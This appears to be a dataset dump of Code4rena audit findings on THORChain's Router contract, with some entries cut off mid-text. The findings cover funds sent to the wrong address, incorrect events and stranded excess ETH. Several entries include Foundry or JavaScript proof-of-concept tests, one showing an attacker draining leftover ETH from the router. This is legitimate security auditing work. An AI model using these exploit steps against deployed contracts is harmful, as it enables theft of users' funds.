xanoutas/solidity-security-findings huggingface dataset:
[H-02] Incorrect recipient inside `THORChain_Router::_transferOutAndCallV5`, leading to sending gas asset to the payload target, not the recipient
Audit: 2024-06-thorchain-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/main/ethereum/contracts/THORChain_Router.sol#L324


# Vulnerability details

## Impact
Inside `THORChain_Router::_transferOutAndCallV5` when transferring the gas asset and the call to the `aggregationPayload.target` fails, the gas asset according to the comment next to the incorrect line, documentation and `THORChain_Router::_transferOutV5`, should be sent to the recipient, not to the `aggregationPayload.target`

The recipient will never receive gas asset and the funds of the vault will be lost

## Proof of Concept
Please add a test to an existing file, so add a new test file called for example `6_Incorrect_Recipient.js` and paste the code from below.
The code asserts that USER1 tries to swap ETH for tokens and send them to USER2 but the `THORChain_Aggregator::swapOutV5` fails and the Aggregator receives the refund, not USER2 as expected.

```javascript
const Router = artifacts.require('THORChain_Router');
const FailingAggregator = artifacts.require('THORChain_Failing_Aggregator');

const SushiRouter = artifacts.require('SushiRouterSmol');
const Token = artifacts.require('ERC20Token');
const Weth = artifacts.require('WETH');
const BigNumber = require('bignumber.js');
const { expect } = require('chai');
function BN2Str(BN) {
  return new BigNumber(BN).toFixed();
}
function getBN(BN) {
  return new BigNumber(BN);
}

var ROUTER, ASGARD, FAIL_AGG, WETH, SUSHIROUTER, TOKEN, WETH, USER1, USER2;

const ETH = '0x0000000000000000000000000000000000000000';
const _1 = '1000000000000000000';
const _10 = '10000000000000000000';

describe('Aggregator griefing', function () {
  let accounts;

  before(async function () {
    accounts = await web3.eth.getAccounts();
    ROUTER = await Router.new();
    TOKEN = await Token.new(); // User gets 1m TOKENS during construction
    USER1 = accounts[0];
    USER2 = accounts[1];
    ASGARD = accounts[3];

    WETH = await Weth.new();
    SUSHIROUTER = await SushiRouter.new(WETH.address);
    FAIL_AGG = await FailingAggregator.new(WETH.address, SUSHIROUTER.address);
  });

  it('Should Deposit Assets to Router', async function () {
    await web3.eth.sendTransaction({
      to: SUSHIROUTER.address,
      from: USER1,
      value: _10,
    });
    await web3.eth.sendTransaction({
      to: WETH.address,
      from: USER1,
      value: _10,
    });
    await WETH.transfer(SUSHIROUTER.address, _10);

    expect(BN2Str(await web3.eth.getBalance(SUSHIROUTER.address))).to.equal(
      _10
    );
    expect(BN2Str(await WETH.balanceOf(SUSHIROUTER.address))).to.equal(_10);
  });

  it('Should send funds to the incorrect address', async function () {
    /* Get starting balances of the TOKEN */
    const startingTokenBalanceOfUser1 = await web3.eth.getBalance(USER1);
    const startingTokenBalanceOfUser2 = await web3.eth.getBalance(USER2);
    const startingTokenBalanceOfAggregator = await web3.eth.getBalance(
      FAIL_AGG.address
    );

    /* Log starting b
ThorChain will be informed wrongly about the unsuccessful ETH transfers due to the incorrect events emissions
Audit: 2024-06-thorchain-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L196
https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L206


# Vulnerability details

One of the main invariant of the protocol is:
> **Only valid events emitted from the Router contract itself should result in the txInItem parameter being populated in the GetTxInItem function of the smartcontract_log_parser**

In short, this means that, **all the events `ThorChain_Router` emits, should be correct.**

This invariants breaks in the edge cases of the [`transferOut()`](https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L185), [`_transferOutV5()`](https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L209), [`transferOutAndCall()`](https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L261) & [`_transferOutAndCallV5()`](https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L304)

For the sake of simplicity, we will only gonna take a look at the `transferOut()` function.

`transferOut()` function is used by the vaults to transfer Native Tokens (ethers) or ERC20 Tokens to any address `to`. It first transfers the funds to the specified `to` address and then emits the `TransferOut` event for ThorChain. In case the Native Tokens transfer to the `to` address fails, it just refunds or bounce back the ethers to the vault address (msg.sender). Transfer to `to` address can fail oftenly, as the function uses solidity's `.send` to transfer the funds, if the `to` address is a contract which takes more than `2300` gas to complete the execution then `.send` will return `false` and the ethers will be bounced back to the vault address.

The problem is that, In the case, when the `.send` will fail and the ethers will bounce back to the vault address, the event `TransferOut` will be wrong. As we can see, when the ethers receiver will be vault not the inputted `to` address, the `to` doesn't get updated to the vault's address and the function in the end emits the same `to`, ThorChain is getting informed that the ether receiver is still inputted `to`:
```solidity
  function transferOut(address payable to, address asset, uint amount, string memory memo) public payable nonReentrant {
    uint safeAmount;
    if (asset == address(0)) {
      safeAmount = msg.value;
      bool success = to.send(safeAmount); // Send ETH.
      if (!success) {
        payable(address(msg.sender)).transfer(safeAmount); // For failure, bounce back to vault & continue.
      }
    } else {
      .....
    }
    ///@audit-issue H worng event `to` inc
`_transferOutAndCallV5` Does Not Send Gas Token to Recipient on Failing Aggregator
Audit: 2024-06-thorchain-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L324


# Vulnerability details

## Impact
The `_transferOutAndCallV5` function in the `THORChain_Router` contract fails to handle cases where the aggregator's `swapOutV5` function fails. When the aggregator call fails, the gas token (Ether) sent with the transaction is not correctly redirected to the recipient or returned to the vault, but it sends to the target (aggregator) contract. This leads to a situation where the Ether is stranded in the aggregator contract and can be retrieved by a malicious actor through another interaction with the aggregator.

## Proof of Concept
The following proof of concept demonstrates how Ether can be stranded in the aggregator contract when the `swapOutV5` function fails and how an attacker can retrieve the stranded Ether.

### Test Case (Foundry)

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.22;

import {Test, console} from "forge-std/Test.sol";
import {THORChain_Router} from "../contracts/THORChain_Router.sol";
import {THORChain_Failing_Aggregator} from "../contracts/THORChain_Failing_Aggregator.sol";
import {SushiRouterSmol} from "../contracts/sushiswap/SushiRouterSmol.sol";
import {WETH} from "../contracts/sushiswap/WETH.sol";
import {ERC20Token} from "../contracts/Token.sol";



contract RouterPOC is Test {
    THORChain_Router public router;
    THORChain_Failing_Aggregator public failingAggregator;

    SushiRouterSmol public sushiRouter;
    WETH public weth;
    ERC20Token public token;

    address public vault;

    function setUp() public {
        router = new THORChain_Router();
        weth = new WETH();
        sushiRouter = new SushiRouterSmol(address(weth));
        failingAggregator = new THORChain_Failing_Aggregator(address(weth), address(sushiRouter));
        token = new ERC20Token();

        vault = makeAddr("Vault");

        // deal tokens for sushiRouter and WETH
        deal(address(weth), 10e18);
        deal(address(weth), address(sushiRouter), 10e18);
    }

    function testPOC_transferOutAndCallV5_doseNotSendGasTokenToTheRecipientInCaseOfFailingAggregator() public {
        address recipient = makeAddr("recipient");
        uint256 swapOutAmount = 2e18;
        deal(vault, swapOutAmount);

        // setup a transferOutAndCallV5 payload
        THORChain_Router.TransferOutAndCallData memory aggrPayload;
        aggrPayload = THORChain_Router.TransferOutAndCallData(
            payable(address(failingAggregator)),
            address(0), // native token
            swapOutAmount,
            address(token),
            payable(recipient),
            swapOutAmount,
            "",
            bytes(""),
            ""
        );

        vm.prank(vault);
        // The underlnine call of `aggregator.swapOutV5` will fail,
        router.transferOutAndCallV5{value: swapOutAmount}(aggrPayload);
        // and
Excess Ether Not Returned in `transferOutV5` and `batchTransferOutV5` Functions
Audit: 2024-06-thorchain-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L391
https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L397


# Vulnerability details

## Impact
The `transferOutV5` and `batchTransferOutV5` functions in the `THORChain_Router` contract do not return excess Ether to the sender when the amount of Ether sent (`msg.value`) exceeds the specified transfer amount (`transferOutPayload.amount`). This oversight leaves excess Ether in the contract, which can be subsequently retrieved by any user, including malicious actors. This can lead to a significant loss of funds and potentially disrupt the normal operations of the contract.

## Proof of Concept
The vulnerability can be demonstrated by sending more Ether than the specified transfer amount in a call to `transferOutV5`. The excess Ether remains in the contract and can be taken by any subsequent user.

### Test Case (Foundry)

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.22;

import {Test, console} from "forge-std/Test.sol";
import "../contracts/THORChain_Router.sol";

contract RouterPOC is Test {
    THORChain_Router public router;
    address public vault;

    function setUp() public {
        router = new THORChain_Router();
        vault = makeAddr("VAULT1");
    }

    function testPoC_transferOutV5_doseNotReturnExcessEther() public {
        deal(vault, 2e18);

        // vault call transfer out with excess native tokens (send value more than the data amount)
        THORChain_Router.TransferOutData memory data;
        data = THORChain_Router.TransferOutData(
            payable(makeAddr("to")),
            address(0), // native token
            1.5e18,
            ""
        );

        vm.prank(vault);
        // sending (2e18) while processing less (1.5e18)
        router.transferOutV5{value: 2e18}(data);

        assertEq(address(router).balance, .5e18);

        // now any one can takes any excess tokens in the router, leaved by vaults.
        address attacker = makeAddr("Attacker");
        data.to = payable(attacker);
        data.amount = address(router).balance;

        vm.prank(attacker);
        router.transferOutV5{value: 0}(data);

        assertEq(attacker.balance, .5e18);
    }


    function testPoC_batchTransferOutV5_doseNotReturnExcessEther() public {
        deal(vault, 3e18);

        // vault call transfer out with excess native tokens (send value more than the data amount)
        THORChain_Router.TransferOutData[] memory data = new THORChain_Router.TransferOutData[](2);
        data[0] = THORChain_Router.TransferOutData(
            payable(makeAddr("to1")),
            address(0), // native token
            1e18,
            ""
        );
        data[1] = THORChain_Router.TransferOutData(
            payable(makeAddr("to2")),
            address(0), // native
When calling the batchTransferOutV5 functions, some events may be filtered out
Audit: 2024-06-thorchain-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L247
https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/bifrost/pkg/chainclients/shared/evm/smartcontract_log_parser.go#L213


# Vulnerability details

## Impact
The router contract provides batchTransferOutV5 functions for handling multiple operations in a single transaction. This will trigger multiple TransferOut events in one transaction.
But when using the GetTxInItem function to filter events, it is explicitly stated that it is not legal to have multiple transferOut events, transferOut event should be final.
This will result in some correct operations being filtered out by the filter

## Proof of Concept
Assuming the following situation：
1. Call batchTransferOutV5 to batch process three operations: assert=ETH amount = 1e18;assert = USDC amount = 1e16;assert = ETH amount = 2e18 
2. Triggering three TransferOut events in a transaction after successful invocation
3. Smartcontractlog_parser Contract parsing transaction log
4. After reading the first transferOut event, earlyExit will be set to true and the loop will be terminated
github:[https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/bifrost/pkg/chainclients/shared/evm/smartcontract_log_parser.go#L213](https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/bifrost/pkg/chainclients/shared/evm/smartcontract_log_parser.go#L213)
```go

                     case transferOutEvent:
			// it is not legal to have multiple transferOut event , transferOut event should be final
			transferOutEvt, err := scp.parseTransferOut(*item)
			...
			earlyExit = true
			isVaultTransfer = false
                        ...
                      }
                    if earlyExit {
			break
		    }
```
5. Due to loop termination, the two transferOut events after batch operation are ignored

## Tools Used
Manual audit
## Recommended Mitigation Steps
Delete the batch processing function or cancel the logic of calling the end of the transferOut event when reading it


## Assessed type

Other
When the ETH interaction fails, the event will also be triggered normally
Audit: 2024-06-thorchain-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L195
https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L212
https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L277
https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L323


# Vulnerability details

## Impact

For some failed interaction operations, the contract will be returned to ETH, but related events will be triggered and captured normally, which may lead to abnormal status.

## Proof of Concept
Here are specific examples of the problem.


What needs to be declared is:
In these instances, those related to the transferOut event can be processed normally because processing has been implemented
```solidity
if asset.IsEmpty() {
				 
   return false, nil
			
}
```
But the transferOutAndCall related event does not, as it does not have relevant rules to handle situations where the transfer fails but an unexpected event is sent out.
1. The transferOut function returns ETH to msg.sender after ETH sending fails, but triggers the TransferOut event normally
github:[[1](https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L195)]
```solidity
  function transferOut(
    address payable to,
    address asset,
    uint amount,
    string memory memo
  ) public payable nonReentrant {
      uint safeAmount;
      if (asset == address(0)) {
      safeAmount = msg.value;
      bool success = to.send(safeAmount); // Send ETH.
      if (!success) {
        payable(address(msg.sender)).transfer(safeAmount); // For failure, bounce back to vault & continue.
      }
    } else {
      ...
    }
    emit TransferOut(msg.sender, to, asset, safeAmount, memo);
```



2. _The transferOutV5 function returns ETH to msg.sender after ETH sending fails, but triggers the TransferOut event normally.
github:[[2](https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L212)]
```solidity
  function _transferOutV5(TransferOutData memory transferOutPayload) private {
    if (transferOutPayload.asset == address(0)) {
      bool success = transferOutPayload.to.send(transferOutPayload.amount); // Send ETH.
      if (!success) {
        payable(address(msg.sender)).transfer(transferOutPayload.amount); // For failure, bounce back to vault & continue.
      }
    } else {
       ...
    }

    emit TransferOut(
      msg.sender,
      transferOutPayload.to,
      transferOutPayload.asset,
      transferOutPayload.amount,
      transferOutPayload.memo
    );
  }
```



3. The transferOutAndCall function sw
ETH is transferred to the wrong address in _transferOutAndCallV5
Audit: 2024-06-thorchain-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/main/chain/ethereum/contracts/THORChain_Router.sol#L324


# Vulnerability details

## Impact
The `_transferOutAndCallV5` function transfers ETH tokens to the wrong address if the aggregator fails.

## Proof of Concept
When the `_transferOutAndCallV5` function is called and the aggregator fails to execute the `swapOutV5` transaction, the ETH value should be sent to the swap recipient directly. However instead of the recipient, ETH is sent to the aggregator contract:
```solidity
  function _transferOutAndCallV5(
    TransferOutAndCallData calldata aggregationPayload
  ) private {
    if (aggregationPayload.fromAsset == address(0)) {
      // call swapOutV5 with ether
      (bool swapOutSuccess, ) = aggregationPayload.target.call{
        value: msg.value
      }(
        abi.encodeWithSignature(
          "swapOutV5(address,uint256,address,address,uint256,bytes,string)",
          aggregationPayload.fromAsset,
          aggregationPayload.fromAmount,
          aggregationPayload.toAsset,
          aggregationPayload.recipient,
          aggregationPayload.amountOutMin,
          aggregationPayload.payload,
          aggregationPayload.originAddress
        )
      );
      if (!swapOutSuccess) {
>>      bool sendSuccess = payable(aggregationPayload.target).send(msg.value); // If can't swap, just send the recipient the gas asset
```
Notice the correct implementation in the `transferOutAndCall` function:
```solidity
  function transferOutAndCall(
    address payable aggregator,
    address finalToken,
    address to,
    uint256 amountOutMin,
    string memory memo
  ) public payable nonReentrant {
    uint256 _safeAmount = msg.value;
    (bool erc20Success, ) = aggregator.call{value: _safeAmount}(
      abi.encodeWithSignature(
        "swapOut(address,address,uint256)",
        finalToken,
        to,
        amountOutMin
      )
    );
    if (!erc20Success) {
>>    bool ethSuccess = payable(to).send(_safeAmount); // If can't swap, just send the recipient the ETH
```

## Tools Used
Manual review
## Recommended Mitigation Steps
```diff
      if (!swapOutSuccess) {
-       bool sendSuccess = payable(aggregationPayload.target).send(msg.value); // If can't swap, just send the recipient the gas asset
+       bool sendSuccess = payable(aggregationPayload.recipient).send(msg.value); // If can't swap, just send the recipient the gas asset
```


## Assessed type

ETH-Transfer
`batchTransferOutV5` fails when there are more than one native asset transfers
Audit: 2024-06-thorchain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e5ae503d0dc2394a82242be6860eb538345152a1/ethereum/contracts/THORChain_Router.sol#L397-L403
https://github.com/code-423n4/2024-06-thorchain/blob/e5ae503d0dc2394a82242be6860eb538345152a1/ethereum/contracts/THORChain_Router.sol#L304-L341


# Vulnerability details

## Impact
The `batchTransferOutAndCallV5` function loops over the inputs and calls `_transferOutAndCallV5` to handle each input.

The issue is that if the `aggregationPayload.fromAsset` is the native asset (i.e. address(0)), the `_transferOutAndCallV5` internal function consumes all the `msg.value`, leaving no native asset for the subsequent iterations to use.

As a result, if there are more than one native asset transfer iterations in the `batchTransferOutV5` function, the transaction will fail.

## Proof of Concept
```solidity
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {THORChain_Router} from "../contracts/THORChain_Router.sol";

contract PoC is Test {
    THORChain_Router router;

    address vault = makeAddr("vault");
    address ETH = address(0);

    function setUp() public {
        router = new THORChain_Router();
        deal(vault, 100 ether);
    }

    function test_it() public {
        THORChain_Router.TransferOutAndCallData[] memory inputs = new THORChain_Router.TransferOutAndCallData[](2);
        inputs[0] = THORChain_Router.TransferOutAndCallData({
            target: payable(makeAddr("MockAggregator")),
            fromAsset: ETH,
            fromAmount: 1 ether,
            toAsset: makeAddr("MockToken"),
            recipient: makeAddr("recipient"),
            amountOutMin: 0,
            memo: "",
            payload: "",
            originAddress: ""
        });
        inputs[1] = THORChain_Router.TransferOutAndCallData({
            target: payable(makeAddr("MockAggregator")),
            fromAsset: ETH,
            fromAmount: 3 ether,
            toAsset: makeAddr("MockToken"),
            recipient: makeAddr("recipient"),
            amountOutMin: 0,
            memo: "",
            payload: "",
            originAddress: ""
        });

        vm.startPrank(vault);
        vm.expectRevert();
        router.batchTransferOutAndCallV5{value: 3 ether}(inputs);
        vm.stopPrank();
    }
}
```
The above POC shows that the `batchTransferOutAndCallV5` transaction fails because the first transfer consumes all the msg.value, leading to an out-of-fund error in the second transfer.

## Tools Used
Manual Review

## Recommended Mitigation Steps
Instead of using all the `msg.value`, use `aggregationPayload.fromAmount` amount of native assets in the `_transferOutAndCallV5` internal function.


## Assessed type

Loop